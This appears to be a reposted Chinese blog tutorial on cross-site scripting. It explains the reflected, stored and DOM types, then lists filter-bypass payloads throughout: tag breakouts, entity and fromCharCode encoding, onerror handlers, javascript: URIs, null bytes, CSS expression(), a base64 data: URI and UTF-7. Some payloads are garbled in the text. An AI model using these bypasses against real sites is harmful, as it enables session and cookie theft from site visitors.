XSS绕过技术


本文转载自:http://www.2cto.com/Article/201211/168950.html


Cross-SiteScripting
XSS)是一类出现在web应用程序上的安全弱点,攻击者可以通过XSS插入一些代码,使得访问页面的其他用户都可以看到,XSS通常是可以被看作漏洞的。它允许攻击者绕过安全机制,通过尝试各种不同的方法插入恶意代码,攻击者可以得到敏感页面的权限,会话,cookies,或者其他的东西,XSS分为三类:

一、XSS分类:
非持久性,持久性和基于Dom(此类可以是持久的,也可以是不持久的)

非持久性XSS也被称为反射性XSS,是目前最普遍的类型,当攻击者提供了一些代码的时候,服务器端马上就会返回页面的执行结果。举个例子,就比如某个网页上的搜索引擎,如果攻击者搜索的字符串包含了一些html标签,通常来说,搜索的结果就会以该形式显示出来,或者,至少,搜索的字符串会包含在页面里。而这个我们是可以修改的,如果搜索的字符串都没有被html编码,XSS漏洞就产生了。

持久性XSS:也叫做存储型XSS,或是二次漏洞,他能够导致更加有效的攻击。当攻击者提交到web应用程序里的数据会永久性的存储到服务器的时候会产生这类漏洞,(比如数据库,文件系统,其他位置),之后,如果没有经过HTML编码,那么每一个访问该页面的用户都会被攻击,典型的例子就是在线留言板,它允许用户提交数据。

基于DOMXSS:也叫做本地跨站,基于html/xml上叫做文档对象模型(DOM)的标准对象模型,这类漏洞,问题出现在页面的客户端脚本上,比如,如果一个javascript脚本处理url请求参数,然后使用这个参数值来显示给用户页面,没有经过任何编码,那么XSS漏洞产生,和非持久的类似,攻击者可以用恶意代码填充这个参数,然后覆写的页面诱骗用户点击,然后就会被浏览器解析成html,包含了恶意的脚本代码。

二、发现XSS漏洞

最常用的XSS漏洞测试代码::

<script>alert("XSS")</script>


当这个代码被注入到输入框或是url参数的时候,会成功也可能会失败,如果失败了,也不意味着网站就是安全的。需要继续渗透。


第一步是查看当前的页面源代码,看看是不是包含了我们的这个测试的字符串,以下的例子中,我们输入的字符串<script>alert("XSS")</script>没有经过任何处理就放在一个输入(INPUT标签里。

<INPUTtype="text" value='
<SCRIPT>alert("XSS")</SCRIPT>'/>


那么,我们可以通过修改我们的输入来正确的闭合input标签,并执行script脚本:

当输入为:'/><SCRIPT>alert("XSS")</SCRIPT>时,我们的代码执行了。因为我们闭合了前面的html标签,就触发了XSS,但是,你可能会发现,页面上会显示一个多出来的‘/>,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代码。

'/><SCRIPT>alert("XSS")</SCRIPT><xssa='
所有的输入就会变成这样:
<INPUT type="text" value='><SCRIPT>alert("XSS")</SCRIPT><xssa=''/>

Javascript
代码就注入了。<xss a=”>这个没什么意义,你可以自己改,只要符合html的标准,页面就不会出错。

绕过单引号过滤继续!

同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通
过一些类似add_slashes的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:

<INPUTtype="text"value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>


有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过html的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于,因为这被解释为html标签,但是,你如果要用,可以用下面的来代替。


&#34;

&quot;

"

双引号

&#38;

&amp;

&

&符号

&#60;

&lt;

<

小于号

&#62;

&gt;

>

大于号



使用&quot;或者&#34;
来代替我们的双引号,有时候可以绕过过滤。例子:

<script>alert("XSS")</script>
<script>alert(&quot;XSS&quot;)</script>

<script>alert(&#38;XSS&#38;)</script>

如果这都被过滤了,那我们可以使用JavaScriptfromCharCode函数,这个函数把指定的Unicode值转换成字符串。

比如:

<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text"value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>

你可以使用Mysql数据库的char(字符,字符)来转换字符到字符码,大家可以使用自己喜欢的就行了。
转码的工具还是很多的。

绕过<SCRIPT>过滤

有些过滤器会过滤到<script>标签,那上面的例子就都废了,但是,还是有方法插入javascript的。我们看看事件处理器的例子。

<BODY οnlοad="alert('XSS')">


html里啊,这个Onload关键字就是一个事件,其他的所有标签都没有这个属性,但是Body标签是有的。但是,有一定的局限性,如果onload事件在你的代码之前已经被处理了。那就不会触发了。。不过我们可以继续看看onerror事件处理。

<IMGSRC=""οnerrοr="alert('XSS')">


注意看,图片没有指定,也就是出错了。Onerror这个事件就会引发XSS漏洞,没有用<script>标签哦。

使用IMG

Html
中最常用的两个标签imgahref一般是不会过滤的,一个指定图片,一个指定超链接。最危险的是img标签,看下面的例子:
标准的样子:

<IMG SRC="javascript
alert('XSS');">

没有双引号和分号:
<IMG SRC=javascript
alert('XSS')>

过滤了双引号和<script>:

<IMGSRC=javascript
alert(&quot;XSS&quot;)>

使用CharCode绕过过滤:

<IMGSRC=javascript
alert(String.fromCharCode(88,83,83))>


有经验的攻击者也可以把上面的全部转换成相等的Ascii:

<IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#10
1;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>


使用Ascii表你可以自己试试。当然转换成16进制也是可以的。。

<IMGSRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C
;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>


使用制表符,换行符和回车符

这些符号都是可以用来欺骗过滤器的。

<IMGSRC="jav&#x9ascript:alert('XSS');">

上面的例子使用了最小的十六进制的制表符来欺骗过滤器。最后的输出结果不变

<IMGSRC="javascript
alert('XSS');"&gt;




Type

HorizontalTab

Newline

CarriageReturn

URL

%09

%10

%13

MinimalSizedHex

&#x9

&#xA

&#xD

MaximumSizedHex

&#x0000009;

&#x000000A;

&#x000000D;

MinimumSizedDecimal

&#9

&#10

&#13

MaximumSizedDecimal

&#x0000009;

&#x0000009;

&#0000009;



使用空字符

另一个可以绕过的就是空字符,这是最有效的工具了。。

下面这个就是个例子:


<SCR%00IPT>alert("XSS")</SCRIPT>


空字符(%00)使得过滤器不能看到完整的<SCRIPT>标签.只在IE6.0,IE7.0可以。

双引号配对的bug

绕过这种过滤就是寻找闭合的标签,然后构造来突破

比如:

<IMG"""><SCRIPT>alert('XSS')</SCRIPT>">

通常我们认为,img标签里。前两个引号被认为是一对,什么都不做,下一个引号和最后的匹配,但是事实不是这样,所有的浏览器都在试图修正这一问题。

结果最终如下:

<img><script>alert('xss')</script>"&gt;

绕过CSS过滤器

HTML
标签用来插入javaScript很有用,但是CSS也是可以的哦。有很多方式向CSS里插入XSS,所
有更多的方法可以攻击,嘴尖的方法是吧XSS代码放到LINK方式引用的CSShref属性里面去

<LINKREL="stylesheet"HREF="javascript
alert('XSS');">


Ie7
已经不允许了。但是operaie6还是可以的。。另一个方式是使用<STYLE>标签,不是很常见,一般是论坛允许用户设计自己的贴的源代码的时候。

<STYLE>a{width:expression(alert('XSS'))}</STYLE>

还有一种方式

<DIVSTYLE="width:expression(alert('XSS'));">



不全面的过滤器

我们看看当开发者已经把能想到的都过滤了或者什么的。就安全了吗?不。我们可以依然可以向数据指令(我前段时间还看到了。现在忘了这个准确的翻译了)里插入代码。我们通过base64加密
<script>alert(‘XSS’)</script>.

<METAHTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K">
数据指令允许我们把完全的文档变成一个单一的字符串。在火狐等浏览器都可以用。尼玛没说具体的用法。使用双引号
如果你需要使用双引号和单引号。使用一些诡异的用法把。。

<IMGSRC=`javascript
alert("Lookits, 'XSS'")`>
转义字符

转义字符有时候很有用,可以对付一些简单的过滤器
<IMGSRC=`javascript
alert(\"XSS\")`>

结果如下:

<IMGSRC=`javascript
alert(\\"XSS\\")`>



编码

使用utf-7编码可以绕过

比如

<script>alert("XSS")</script>

使用UTF-7编码后:

+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-

然后所有的加号需要被改成%2b,否则会被浏览器识别为连接符

%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-

一个列表:


字符

实体引用

空格

%20

/

%2F

"

%22

?

%3F

+

%2B



Ok
。就这样。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值